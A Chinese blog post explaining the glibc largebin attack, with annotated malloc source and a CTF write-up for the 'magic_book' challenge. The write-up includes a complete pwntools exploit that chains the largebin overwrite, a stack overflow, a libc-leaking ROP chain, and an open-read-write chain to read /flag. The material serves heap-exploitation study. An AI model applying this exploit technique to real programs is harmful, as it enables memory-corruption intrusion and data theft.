large_bin_attack

news/2025/2/21 13:41:59/文章来源:https://www.cnblogs.com/zMeedA/p/18725470

large_bin的结构如下

/*This struct declaration is misleading (but accurate and necessary).It declares a "view" into memory allowing access to necessaryfields at known offsets from a given base. See explanation below.
*/
struct malloc_chunk {INTERNAL_SIZE_T      prev_size;  /* Size of previous chunk (if free).  */INTERNAL_SIZE_T      size;       /* Size in bytes, including overhead. */struct malloc_chunk* fd;         /* double links -- used only if free. */struct malloc_chunk* bk;/* Only used for large blocks: pointer to next larger size.  */struct malloc_chunk* fd_nextsize; /* double links -- used only if free. */struct malloc_chunk* bk_nextsize;
};

这个结构中的 fd_nextsize 和 bk_nextsize 来链接到下一个 size 的堆块头部和上一个 size 的堆块头部。 然后在相同 size 的堆块内部再通过 fd 和 bk 来进行内部的管理。

large_bin的组织结构

large_bin只有一个chunk

image-20250219222059780

largebin 里放了一组同样大小的 chunk

image-20250219222124915

largebin 里放了多组不同大小的 chunk

image-20250219222144627

指针作用

如果我们“擦去”所谓的 nextsize 指针,就会发现 largebin 中的 chunk 还是用 fd 和 bk 的双向链表组织的。

​ 然而每一个 largebin 所保存的 chunk 的 size 都是一个范围。largebin 的组织在内部是 fd 方向上 size 广义递减的(除了最后的 chunk),在 bk 方向上 size 是广义递增的(除了开头的 chunk)。

​ 既然 size 有序,完全没必要单个遍历,需要进行插入时也是依据合适的 size 找到插入的位置。为此用 fd_nextsize 来记录下一个更大 size 的 chunk,用 bk_nextsize 来记录上一个更小 size 的 chunk。

原文链接:https://blog.csdn.net/Mr_Fmnwon/article/details/142330217

插入源码分析

// 从unsortedbin来,如果不插入smallbin
if (in_smallbin_range (size)){...
// 则插入largebin
}else{victim_index = largebin_index (size);  //根据size找到对应的large_bin的索引bck = bin_at (av, victim_index);	//获得对应的large_bin,bck为fwd = bck->fd;		//获得当前large_bin的头chunkif (fwd != bck){  //检查large_bin非空size |= PREV_INUSE;/* if smaller than smallest, bypass loop below */assert (chunk_main_arena (bck->bk));// 特判,如果比最小的还小,则插入尾部if ((unsigned long) (size)< (unsigned long) chunksize_nomask (bck->bk)){...// 否则将开始循环依据size找到合适的位置}else{assert (chunk_main_arena (fwd));while ((unsigned long) size < chunksize_nomask (fwd)){fwd = fwd->fd_nextsize;assert (chunk_main_arena (fwd));}// 如果已经有该size的free chunk,则插在该size chunk的第二个位置// 注意,fd_nextsize和bk_nextsize都不需要变动,这也是插入到第二个的原因if ((unsigned long) size== (unsigned long) chunksize_nomask (fwd))/* Always insert in the second position. */fwd = fwd->fd;// 就是新的size,找到最近的大于该size/小于该size的free chunk的序列的第一个chunkelse{// 先对正在插入的chunk进行赋值,新插入chunk的两个nextsize已经指出去了victim->fd_nextsize = fwd;victim->bk_nextsize = fwd->bk_nextsize;// 然后就是将原本连在一起的旧的链上的指针更新,指向新插入的chunkfwd->bk_nextsize = victim;victim->bk_nextsize->fd_nextsize = victim;}bck = fwd->bk;}}elsevictim->fd_nextsize = victim->bk_nextsize = victim;
}
// 刚刚进行的都是nextsize的变动,接下来进行fd和bk的变动
// 已经找到了插入位置,即插入到fwd和bck这两个chunk之间,这对于所有情况都是一样,因此这块代码通用
mark_bin (av, victim_index);
victim->bk = bck;
victim->fd = fwd;
fwd->bk = victim;
bck->fd = victim;

攻击过程和效果

image-20250219222211852

当进行插入操作时,就会进行如下改变

image-20250219222237631

可以看到,两个地址都被写上了同一个堆指针,这就是largebin attack所能达成的效果。

glibc < 2.38

bck = bin_at (av, victim_index);
fwd = bck->fd;
if (fwd != bck){...if ((unsigned long) (size)< (unsigned long) chunksize_nomask (bck->bk)){fwd = bck;bck = bck->bk;// 待插入的chunk,填写好fd_nextsize和bk_nextsize指针域victim->fd_nextsize = fwd->fd;victim->bk_nextsize = fwd->fd->bk_nextsize;// 接下来对victim->bk_nextsize->fd_nextsize进行赋值,// 而刚刚进行了赋值:victim->bk_nextsize = fwd->fd->bk_nextsize;// 因此如果我们对fwd->fd->bk_nextsize进行修改// (bin中最小的chunk但是我们往往让bin中只有一个chunk)// 所以实际上  // (fwd->fd->bk_nextsize)->fd_nextsize=victim => target->fd_neextsize=victimfwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;}...
}

修改 chunk 的 bk_nextsize 域为 target 即可在释放一块更小的 chunk 到 largebin 时,在target->fd_nextsize,也即 [target+0x20] 写上刚刚进入 largebin 的 chunk 的头指针。

image-20250219222317277

插入效果

image-20250219222335051

触发条件

static void *
_int_malloc (mstate av, size_t bytes)
{...if (!checked_request2size (bytes, &nb)){__set_errno (ENOMEM);return NULL;}  ...for (;; ){int iters = 0;// 如果unsortedbin不为空while ((victim = unsorted_chunks (av)->bk) != unsorted_chunks (av)){// victim是当前unsortedbin中的第一个块bck = victim->bk;size = chunksize (victim);mchunkptr next = chunk_at_offset (victim, size);.../* victim从unsortedbin中摘除 */if (__glibc_unlikely (bck->fd != victim))malloc_printerr ("malloc(): corrupted unsorted chunks 3");unsorted_chunks (av)->bk = bck;bck->fd = unsorted_chunks (av);.../* place chunk in bin */// 判断victim的大小是否属于smallbinif (in_smallbin_range (size)){victim_index = smallbin_index (size);bck = bin_at (av, victim_index);fwd = bck->fd;}else{victim_index = largebin_index (size);// bck是Largebin中的第一个chunkbck = bin_at (av, victim_index);//  在Largebin中只有一个块的时候,fwd指向的是Largebin链表头fwd = bck->fd;/* maintain large bins in sorted order */// 如果largebin不为空,则维护largebin的顺序性(小到大)if (fwd != bck){/* Or with inuse bit to speed comparisons */size |= PREV_INUSE;/* if smaller than smallest, bypass loop below */assert (chunk_main_arena (bck->bk));/* chunksize_nomask(bck->bk)取得的是Largebinbin中第一个chunk的大小size则是的unsortedbin中第一个chunk的大小*/if ((unsigned long) (size) < (unsigned long) chunksize_nomask (bck->bk)){fwd = bck;bck = bck->bk;victim->fd_nextsize = fwd->fd;victim->bk_nextsize = fwd->fd->bk_nextsize;fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;}else{...}}else// 将victim视作largebin中的块victim->fd_nextsize = victim->bk_nextsize = victim;}// 将victim放入相应的bin链表中mark_bin (av, victim_index);victim->bk = bck;victim->fd = fwd;fwd->bk = victim;bck->fd = victim;...}
}
  1. 分配 chunk1:chunk1 的大小为 size1,且 size1 在 largebin 范围内。largebin 是用于存储较大块的 bin,通常用于管理较大的内存块。
  2. 分配 pad1:pad1 的作用是防止 chunk1 在释放时与 top chunk 合并。top chunk 是堆的顶部空闲内存区域,如果释放的块与 top chunk 相邻,系统会将其合并到 top chunk 中,而不是放入 unsorted bin。
  3. 分配 chunk2:chunk2 的大小为 size2,且 size2 < size1。chunk2 也被分配在 largebin 范围内。
  4. 分配 pad2:pad2 的作用与 pad1 类似,防止 chunk2 在释放时与 top chunk 合并。
  5. 释放 chunk1:当 chunk1 被释放时,它会被放入 unsorted bin 中,因为 unsorted bin 是释放块的第一站。
  6. 分配 size3 的块:此时,程序请求分配一个大小为 size3 的块,且 size3 > size1。由于 size3 大于 size1,堆管理器会从 unsorted bin 中查找是否有合适的块。由于 chunk1 的大小 size1 小于 size3,chunk1 无法直接满足这个请求。
    在这种情况下,堆管理器会将 chunk1​ 从 unsorted bin​ 中移除,并将其放入 largebin​ 中。largebin​ 是按照块大小排序的,因此 chunk1​ 会被放入适当的 largebin​ 中,以便在后续的分配请求中能够快速找到合适大小的块。

例题

magic_book

int __fastcall __noreturn main(int argc, const char **argv, const char **envp)
{int v3; // [rsp+Ch] [rbp-4h] BYREFinit(argc, argv, envp);sandbox();menu1();dest = malloc(0x100uLL);while ( 1 ){book = (unsigned __int16)book;menu2();__isoc99_scanf("%d", &v3);if ( v3 == 4 )exit(0);if ( v3 > 4 ){
LABEL_12:puts("Invalid choice");}else{switch ( v3 ){case 3:edit_the_book();break;case 1:creat_the_book();break;case 2:delete_the_book();break;default:goto LABEL_12;}}}
}

经典菜单设置了沙箱

└─$ seccomp-tools dump ./pwnline  CODE  JT   JF      K
=================================0000: 0x20 0x00 0x00 0x00000004  A = arch0001: 0x15 0x00 0x05 0xc000003e  if (A != ARCH_X86_64) goto 00070002: 0x20 0x00 0x00 0x00000000  A = sys_number0003: 0x35 0x00 0x01 0x40000000  if (A < 0x40000000) goto 00050004: 0x15 0x00 0x02 0xffffffff  if (A != 0xffffffff) goto 00070005: 0x15 0x01 0x00 0x0000003b  if (A == execve) goto 00070006: 0x06 0x00 0x00 0x7fff0000  return ALLOW0007: 0x06 0x00 0x00 0x00000000  return KILL

创建函数

size_t creat_the_book()
{size_t v0; // rbxsize_t size[2]; // [rsp+Ch] [rbp-14h] BYREFif ( book > 5 )	//数量限制为5个{puts("full!!");exit(0);}printf("the book index is %d\n", book);puts("How many pages does your book need?");LODWORD(size[0]) = 0;__isoc99_scanf("%u", size);if ( LODWORD(size[0]) > 0x500 )	//最大为0x500{puts("wrong!!");exit(0);}v0 = book;p[v0] = malloc(LODWORD(size[0]));		//p为堆管理结构return ++book;
}

编辑函数

void *edit_the_book()
{size_t v0; // raxchar buf[32]; // [rsp+0h] [rbp-20h] BYREFputs("come on,Write down your story!");read(0, buf, book);	//book的值若够大,可造成栈溢出漏洞v0 = strlen(buf);return memcpy(dest, buf, v0);
}

删除函数

__int64 delete_the_book()
{unsigned int v1; // [rsp+0h] [rbp-10h] BYREFint v2; // [rsp+4h] [rbp-Ch] BYREFchar buf[8]; // [rsp+8h] [rbp-8h] BYREFputs("which book would you want to delete?");__isoc99_scanf("%d", &v2);if ( v2 > 5 || !p[v2] ){puts("wrong!!");exit(0);}free((void *)p[v2]);		//存在uaf漏洞puts("Do you want to say anything else before being deleted?(y/n)");read(0, buf, 4uLL);		//if ( d && (buf[0] == 89 || buf[0] == 121) ){puts("which page do you want to write?");__isoc99_scanf("%u", &v1);if ( v1 > 4 || !p[v2] ){puts("wrong!!");exit(0);}puts("content: ");read(0, (void *)(p[v1] + 8LL), 0x18uLL);	//free_chunk的0x8-0x20处可写任意数--d;return 0LL;}else{if ( d )puts("ok!");elseputs("no ways!!");return 0LL;}
}

该题的思路

1.申请0x450,0x440,0x440(防止合并)大小的三个堆块

2.释放第一个堆块(此时进入unsortbin)

3.申请一个比第一个堆块大的堆块(此时进入largebin)

4.释放第二个堆块的同时,修改第一个堆块的bk_nextsize为book-0x20的位置

5.申请一个大堆块完成largebin_attack

6.栈溢出orw读取flag

完整exp

import os
import sys
import time
from pwn import *
from ctypes import *context.os = 'linux'
context.log_level = "debug"s       = lambda data               :io.send(str(data))
sa      = lambda delim,data         :io.sendafter(str(delim), str(data))
sl      = lambda data               :io.sendline(str(data))
sla     = lambda delim,data         :io.sendlineafter(str(delim), str(data))
r       = lambda num                :io.recv(num)
ru      = lambda delims, drop=True  :io.recvuntil(delims, drop)
itr     = lambda                    :io.interactive()
uu32    = lambda data               :u32(data.ljust(4,b'\x00'))
uu64    = lambda data               :u64(data.ljust(8,b'\x00'))
leak    = lambda name,addr          :log.success('{} = {:#x}'.format(name, addr))
l64     = lambda      :u64(io.recvuntil("\x7f")[-6:].ljust(8,b"\x00"))
l32     = lambda      :u32(io.recvuntil("\xf7")[-4:].ljust(4,b"\x00"))def duan():gdb.attach(io)pause()x64_32 = 1
if x64_32:context.arch = 'amd64'
else:context.arch = 'i386'io = process("./pwn")
elf = ELF("./pwn")
libc = elf.libcru("0x")
pie_base = int(io.recv(12),16) - 0x4010
leak("pie_base",pie_base)pop_rdi = 0x1863 + pie_base
pop_rsi_r15 = 0x1861 + pie_basedef cmd(index):ru("choice:")sl(index)def create(size):cmd(1)ru("book need?")sl(size)def edit(content):cmd(3)ru("story!\n")io.sendline(content)def delete1(index):cmd(2)ru("delete?")sl(index)ru("eleted?(y/n)")io.send('n')
def delete2(index,edit_index,content):cmd(2)ru("delete?")sl(index)ru("eleted?(y/n)")io.send('y')ru("write?")sl(edit_index)ru("content: ")io.send(content)puts_plt = elf.plt.puts + pie_base
puts_got = elf.got.puts + pie_base
target_addr = 0x4050 + pie_basecreate(0x450)#0
create(0x98)#1
create(0x430)#2
create(0x98)#3
delete1(0)
#chunk0首先会放入unsorted_bin中
create(0x460) #4
#size4>size0,chunk0会放入large_bin中
delete2(2,0,b'a'*0x10+p64(target_addr - 0x20))
#chun2进入unsorted中,此时large_bin
create(0x460)
###
#当程序分配一个可以进入 unsorted bin 的堆块时,堆管理器会遍历 unsorted bin,并将其中的块整理到 smallbin 或 largebin 中。
main=pie_base+0x172e
rdi=pie_base+0x1863
edit(b'a'*0x28 + p64(rdi) + p64(puts_got) + p64(puts_plt) + p64(0x15E1+pie_base))
libc_base = uu64(io.recv(6)) - libc.sym['puts']
leak("libc_base",libc_base)readd=libc_base+libc.sym['read']
writee=libc_base+libc.sym['write']
openn=libc_base+libc.sym['open']
pop_rdx_r12 = 0x11f2e7 + libc_base
pop_rsi = 0x000000000002be51 + libc_baseorw = b'a'*0x28 + p64(pop_rdi) + p64(0) + p64(pop_rsi) + p64(pie_base + 0x4090) + p64(pop_rdx_r12) + p64(0x100)*2 + p64(readd)
orw += p64(pop_rdi) + p64(pie_base+0x4090) + p64(pop_rsi) + p64(0) + p64(pop_rdx_r12) + p64(0)*2 + p64(openn)
orw += p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(pie_base + 0x4090) + p64(pop_rdx_r12) + p64(0x100) *2 + p64(readd)
orw += p64(pop_rdi) + p64(1) + p64(pop_rsi) + p64(pie_base + 0x4090) + p64(pop_rdx_r12) + p64(0x100)*2  + p64(writee)
ru("down your story!")
io.send(orw)
io.sendline(b"/flag\x00")
itr()

利用条件:

  1. 修改权限:能够修改 Largebin 中块的 bk_nextsize 字段。
  2. 堆块分配:程序能够分配至少三种不同大小的块,并确保这些块紧密相邻。

利用步骤:

  1. 分配堆块:
    • 分配一块大小为 size1 且在 Largebin 范围内的块 chunk1。
    • 分配一块任意大小的块 pad1,以防止在释放 chunk1 时系统将其与 top chunk 合并。
    • 分配一块大小为 size2 且在 Largebin 范围内的块 chunk2,要求 size2 < size1 且 chunk2 紧邻 chunk1。
    • 分配一块任意大小的块 pad2,以防止在释放 chunk2 时系统将其与 top chunk 合并。
  2. 释放并重新分配:
    • 释放 chunk1,此时系统会将其放入 unsortedbin。再分配一个大小为 size3 的块,要求 size3 > size1,此时系统会将 chunk1 放进 Largebin 中。
    • 确保 chunk2 紧邻 chunk1。
    • 释放 chunk2 进入 unsortedbin。
  3. 修改指针:
    • 修改 chunk1->bk_nextsize 为 Target - 0x20。
  4. 触发攻击:
    • 随意分配一个可以进入unsortbin的堆块,就会触发 Largebin attack。

参考:https://blog.csdn.net/qq_41252520/article/details/126211062

https://www.cnblogs.com/CH13hh/p/18319386

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/886932.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

体验用ai做了个python小游戏

写在前面:最近ai确实比较火。各种生成式AI,包括文字、图片、视频。之前听说ai生产代码能力比较强,一直想试试。所以及就有了本问。使用的工具deepinseek :用来生成python代码即梦:用来生成图片素材Remove.bg:用来对生成的图片素材去除背景pixabay.com:用来下载音乐素材游…

2.1.5 节省内存

首先来介绍一下可变对象和不可变对象可变对象:整数,浮点数,字符串,元组等 不可变对象:列表,字典,集合等然后看一下Python中内存分配的方式 执行x=1会发生什么?此时,内存会分配一个地址给1,1是一个整型对象,而x是一个引用(不是对象!),指向1所在的位置,并不占用实…

ABC392E翻译

AT_abc392_e [ABC392E] Cables and Servers 题目描述 有编号从 \(1\) 到 \(N\) 的 \(N\) 台服务器和编号从 \(1\) 到 \(M\) 的 \(M\) 根电缆。 电缆 \(i\) 双向连接服务器 \(A_i\) 和服务器 \(B_i\)。 通过进行以下操作(可以是 \(0\) 次),使得所有服务器之间都能通过电缆相互…

【外贸】集装箱的规格

集装箱类型(以米为单位)集装箱类型 外部尺寸(长宽高) 内部尺寸(长宽高) 容积(立方米) 载重(公斤)20英尺标准集装箱 6.1m 2.44m 2.59m 5.9m 2.35m 2.39m 33 28,00040英尺标准集装箱 12.2m 2.44m 2.59m 12m 2.35m 2.39m 67 26,50040英尺高柜集装箱 12.2m 2.44…

PriorityBlockingQueue 的put方法底层源码

一、PriorityBlockingQueue 的put方法底层源码 PriorityBlockingQueue 的 put 方法用于将元素插入队列。由于 PriorityBlockingQueue 是一个无界队列,put 方法不会阻塞,总是会成功插入元素 1、put 方法的作用将元素插入队列。由于队列无界,put 方法不会阻塞,总是会成功插入…

深度剖析多任务模型 QAT 策略

本文为笔者个人见解,如有不同意见欢迎评论1.引言 为了节省端侧计算资源以及简化部署工作,目前智驾方案中多采用动静态任务融合网络,地平线也释放了 Lidar-Camera 融合多任务 BEVFusion 参考算法。这种多任务融合网络的浮点训练策略可以简述为: 首先在大量数据的条件下完成多…

猫步简历 - 开源免费AI简历生成器 | 一键导出PDF/JSON

猫步简历是一款免费开源的AI简历生成与制作神器,旨在帮助求职者轻松创建独特、优美且专业的简历。无论是应届毕业生、职场新人,还是资深专业人士,猫步简历都能满足您的需求。它支持导出超高清PDF、图片、源码级JSON数据等多种格式,并提供AI智能创作、AI语种切换、AI润色等强…

老年人能力评估uni-app

登录界面 (https://img2024.cnblogs.com/blog/3474174/202502/3474174-20250219211712486-62129844.png) 老年人信息界面添加老年人信息界面这个不知道哪里写错了,选择器的选项看不到。我本来想和web端一样,用弹出对话框来添加老年人信息的,结果整了半天,对话框弹不出来,然…

ICLR 2025 时间序列

1. TimeMixer++: A General Time Series Pattern Machine for Universal Predictive Analysis 链接:https://openreview.net/forum?id=1CLzLXSFNn 关键词:多任务(预测,分类,插补,异常检测)、基础模型 TL;DR:TimeMixer++ 是一种时间序列模式机器,它采用多尺度和多分辨…

用于 Qt 的 OpenCV 编译 (CMake 方式) 问题解决

本文主要参考 《QT+opencv源码编译》:https://blog.csdn.net/m0_49156395/article/details/135721596 详细步骤请阅读上面文章,本文主要着重强调其中的关键步骤。 一、Configure(CMakeList.txt)和 generate(Makefile) 过程(11)先进行初次Configure "Where to build th…

【硬件测试】基于FPGA的2ASK调制解调系统开发与硬件片内测试,包含信道模块,误码统计模块,可设置SNR

1.算法仿真效果 本文是之前写的文章基于FPGA的2ASK调制解调系统,包含testbench,高斯信道模块,误码率统计模块,可以设置不同SNR的硬件测试版本。在系统在仿真版本基础上增加了ila在线数据采集模块,vio在线SNR设置模块,数据源模块。硬件ila测试结果如下:(完整代码运行后无水印…

即将迎来全民编程时代

最近,我的这种情绪现在越来越强烈了。 还记得我刚开始使用AI辅助编程的时候,写出来的代码能运行就不错了,还别想着要他理解需求和修改bug了。直到2024年年底到2025年年初这短短两个多月的时间,我对它的想法变成了,它是我们的编程搭子,甚至可以说是免费劳动力了。 再试编程…